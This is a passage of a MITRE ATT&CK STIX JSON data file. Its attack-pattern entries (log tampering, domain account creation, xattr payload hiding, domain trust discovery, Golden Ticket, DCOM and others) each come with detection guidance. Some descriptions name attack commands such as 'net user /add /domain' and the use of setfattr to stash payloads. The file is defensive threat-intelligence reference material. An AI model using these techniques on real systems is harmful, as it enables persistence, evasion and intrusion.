            "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example, adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security</code> to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors. (Citation: LemonDuck) ESXi also leverages syslog, which can be reconfigured via commands such as `esxcli system syslog config set` and `esxcli system syslog config reload`.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)(Citation: Broadcom Configuring syslog on ESXi)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Rob Smith",
                "Lucas Heiligenstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}</code>",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "ESXi"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Sensor Health: Host Status",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177",
            "created": "2020-01-28T14:05:17.825Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1136/002",
                    "external_id": "T1136.002"
                },
                {
                    "source_name": "Microsoft User Creation Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
                },
                {
                    "source_name": "Savill 1999",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:21:24.212Z",
            "name": "Domain Account",
            "description": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for processes and command-line parameters associated with domain account creation, such as <code>net user /add /domain</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "User Account: User Account Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--762e6f29-a62f-4d96-91ed-d0073181431f",
            "created": "2025-03-27T19:40:00.716Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/014",
                    "external_id": "T1564.014"
                },
                {
                    "source_name": "Establishing persistence using extended attributes on Linux",
                    "description": "kernel Community. (2024). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.",
                    "url": "https://kernal.eu/posts/linux-xattr-persistence/"
                },
                {
                    "source_name": "Low GroupIB xattrs nov 2024",
                    "description": "Sharmine Low. (2024, November 13). Stealthy Attributes of Lazarus APT Group: Evading Detection with Extended Attributes. Retrieved March 27, 2025.",
                    "url": "https://www.group-ib.com/blog/stealthy-attributes-of-apt-lazarus/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:42.110Z",
            "name": "Extended Attributes",
            "description": "Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`,  `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.(Citation: Establishing persistence using extended attributes on Linux)\n\nAn adversary may leverage xattrs by embedding a second-stage payload into the extended attribute of a legitimate file. On macOS, a payload can be embedded into a custom attribute using the `xattr` command. A separate loader can retrieve the attribute with `xattr -p`, decode the content, and execute it using a scripting interpreter. On Linux, an adversary may use `setfattr` to write a payload into the `user.` namespace of a legitimate file. A loader script can later extract the payload with `getfattr --only-values`, decode it, and execute it using bash or another interpreter. In both cases, because the primary file content remains unchanged, security tools and integrity checks that do not inspect extended attributes will observe the original file hash, allowing the malicious payload to evade detection.(Citation: Low GroupIB xattrs nov 2024)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Sharmine Low, Group-IB",
                "Rouven Bissinger (SySS GmbH)",
                "RoseSecurity"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Metadata",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156",
            "created": "2020-10-02T14:57:15.906Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1589/003",
                    "external_id": "T1589.003"
                },
                {
                    "source_name": "OPM Leak",
                    "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.",
                    "url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:27:33.795Z",
            "name": "Employee Names",
            "description": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
            "created": "2019-02-14T16:15:05.974Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1482",
                    "external_id": "T1482"
                },
                {
                    "source_name": "Microsoft Operation Wilysupply",
                    "description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.",
                    "url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/"
                },
                {
                    "source_name": "AdSecurity Forging Trust Tickets",
                    "description": "Metcalf, S. (2015, July 15). It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.",
                    "url": "https://adsecurity.org/?p=1588"
                },
                {
                    "source_name": "Microsoft Trusts",
                    "description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)"
                },
                {
                    "source_name": "Microsoft GetAllTrustRelationships",
                    "description": "Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.",
                    "url": "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships"
                },
                {
                    "source_name": "Harmj0y Domain Trusts",
                    "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.",
                    "url": "https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:22:35.004Z",
            "name": "Domain Trust Discovery",
            "description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Dave Westgard",
                "Elia Florio, Microsoft",
                "Mnemonic",
                "RedHuntLabs, @redhuntlabs",
                "ExtraHop"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\n",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Script: Script Execution",
                "Network Traffic: Network Traffic Content",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1",
            "created": "2020-02-11T19:13:33.643Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1558/001",
                    "external_id": "T1558.001"
                },
                {
                    "source_name": "AdSecurity Kerberos GT Aug 2015",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
                    "url": "https://adsecurity.org/?p=1640"
                },
                {
                    "source_name": "CERT-EU Golden Ticket Protection",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
                },
                {
                    "source_name": "ADSecurity Detecting Forged Tickets",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "url": "https://adsecurity.org/?p=1515"
                },
                {
                    "source_name": "ADSecurity Kerberos and KRBTGT",
                    "description": "Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory\u2019s Domain Kerberos Service Account. Retrieved January 30, 2020.",
                    "url": "https://adsecurity.org/?p=483"
                },
                {
                    "source_name": "Stealthbits Detect PtT 2019",
                    "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.",
                    "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks"
                },
                {
                    "source_name": "Microsoft Kerberos Golden Ticket",
                    "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.",
                    "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:47:07.443Z",
            "name": "Golden Ticket",
            "description": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Itamar Mizrahi, Cymptom"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Credential Request",
                "Logon Session: Logon Session Metadata"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1175",
                    "external_id": "T1175"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Microsoft COM",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                },
                {
                    "source_name": "Microsoft COM ACL",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"
                },
                {
                    "source_name": "Microsoft Process Wide Com Keys",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft System Wide Com Keys",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
                },
                {
                    "source_name": "ProjectZero File Write EoP Apr 2018",
                    "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
                    "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html"
                },
                {
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
                },
                {
                    "source_name": "Enigma MMC20 COM Jan 2017",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
                },
                {
                    "source_name": "Enigma DCOM Lateral Movement Jan 2017",
                    "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"
                },
                {
                    "source_name": "Enigma Excel DCOM Sept 2017",
                    "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"
                },
                {
                    "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017",
                    "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
                    "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-25T15:15:44.893Z",
            "name": "Component Object Model and Distributed COM",
            "description": "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.",
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            "x_mitre_deprecated": true,
            "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "created": "2017-05-31T21:30:29.458Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1020",
                    "external_id": "T1020"
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"
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            "modified": "2025-04-15T19:58:42.569Z",
            "name": "Automated Exfiltration",
            "description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020) \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.",
            "x_mitre_domains": [
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c",
            "created": "2020-10-02T16:47:16.719Z",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1592/004",
                    "external_id": "T1592.004"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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                {
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                    "phase_name": "reconnaissance"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
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            "id": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c",
            "created": "2020-06-24T16:55:46.243Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/007",
                    "external_id": "T1562.007"
                },
                {
                    "source_name": "Expel IO Evil in AWS",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
                    "url": "https://expel.io/blog/finding-evil-in-aws/"
                },
                {
                    "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
